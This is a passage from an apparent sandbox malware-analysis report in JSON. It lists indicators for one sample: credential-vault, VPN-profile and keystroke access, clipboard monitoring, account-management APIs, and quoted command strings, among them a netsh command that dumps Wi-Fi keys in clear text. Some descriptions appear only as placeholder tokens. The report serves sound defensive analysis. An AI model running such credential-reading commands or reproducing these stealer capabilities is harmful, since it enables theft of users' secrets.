00000000-00004616.00000003.158191.F7130000.00000004.mdmp\")\n Found string \"GET %s HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /line/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nCache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Imports network management related APIs","description":"Observed import api \"NetLocalGroupAdd\" which can \"create a local group in the security database.\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]\n Observed import api \"NetLocalGroupAddMembers\" which can \"add membership of one or more existing user accounts or global group accounts to an existing local group.\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]\n Observed import api \"NetUserAdd\" which can \"add a user account and assigns a password and privilege level.\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]\n Observed import api \"NetUserDel\" which can \"delete a user account from a server.\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]\n Observed import api \"NetUserSetInfo\" which can \"set the parameters of a user account.\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]","origin":"Static Parser","mitre_attack_id":"T1087.001","relevance":1,"id":"static-85","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://www.google.com\"\n Found HTTPS url \"https://www.microsoft.com\"\n Found HTTPS url \"https://www.cloudflare.com\"\n Found HTTPS url \"https://www.amyuni.com\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"References hosts file in file/memory","description":"Found string \"C:\\Windows\\System32\\drivers\\etc\\hosts\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"C:\\Windows\\System32\\drivers\\etc\\hosts\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-479","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Ransomware/Banking","name":"Imports SHEmptyRecycleBin API","description":"Observed import api \"SHEmptyRecycleBin\" which can \"empty the Recycle Bin on the specified drive\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]","origin":"Static Parser","mitre_attack_id":"T1070","relevance":1,"id":"static-84","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Remote Access Related","name":"Able to connect to a cloud service","description":"Found string \"%s\\gcloud\" (Indicator: \"gcloud\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"DevTools/GCloud/%s\" (Indicator: \"gcloud\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"%s\\gcloud\" (Indicator: \"gcloud\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found string \"DevTools/GCloud/%s\" (Indicator: \"gcloud\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021.007","relevance":1,"id":"string-767","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity","description":"WTSFreeMemory@WTSAPI32.dll at 26015-7480-000000014014F2BA\n WTSFreeMemory@WTSAPI32.dll at 26015-7490-000000014014F878","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1021.001","relevance":5,"id":"stream-137","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"WTSLogoffSession\" (Indicator: \"WTSLogoffSession\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information","description":"WTSQuerySessionInformationW@WTSAPI32.dll at 26015-7480-000000014014F2BA\n WTSQuerySessionInformationW@WTSAPI32.dll at 26015-7490-000000014014F878\n WTSEnumerateSessionsW@WTSAPI32.dll at 26015-7491-000000014014F240","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1018","relevance":5,"id":"stream-138","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access VPN profile file","description":"Found string \"%s\\Cisco\\Cisco AnyConnect Secure Mobility Client\\Profile\" (Indicator: \"\\cisco\\cisco anyconnect secure mobility client\\profile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"%s\\Cisco\\Cisco AnyConnect Secure Mobility Client\\Profile\" (Indicator: \"\\cisco\\cisco anyconnect secure mobility client\\profile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-857","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access Windows Vault","description":"Found string \"VaultEnumerateVaults\" (Indicator: \"VaultEnumerateVaults\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"VaultOpenVault\" (Indicator: \"VaultOpenVault\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"VaultEnumerateItems\" (Indicator: \"VaultEnumerateItems\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"VaultGetItem8\" (Indicator: \"VaultGetItem\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"VaultFree\" (Indicator: \"VaultFree\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"VaultCloseVault\" (Indicator: \"VaultCloseVault\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"VaultGetItem7\" (Indicator: \"VaultGetItem\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-627","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1555.005","relevance":3,"id":"string-10057","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1550.004","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"DragQueryFileW\" (File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"GetClipboardData\" (File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"DragQueryFileW\" (Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found string \"GetClipboardData\" (Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"Found string \"AddClipboardFormatListener\" (File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"AddClipboardFormatListener\" (Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh","description":"Found string \"cmd.exe /c chcp 65001 >nul && netsh wlan show profile name=\"%s\" key=clear > \"%s\"\" (File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"cmd.exe /c chcp 65001 >nul && netsh wlan show profile name=\"%s\" key=clear > \"%s\"\" (Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.002","relevance":1,"id":"string-671","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsA\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]\n Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\" \"%s\"\"\" (Indicator: \"Select-Object\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"Select-Object\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExA\" (Indicator: \"GetComputerName\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to to enumerates the credentials (API string)","description":"Found reference to API \"CredEnumerateA\" (Indicator: \"CredEnumerate\"; File: \"d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin\")\n Found reference to API \"CredEnumerateA\" (Indicator: \"CredEnumerate\"; Source: \"00000000-00004616.00000001.150763.D1843000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-81","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$65","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"$66","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"69d76c6c17a1ed0335064b58"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed 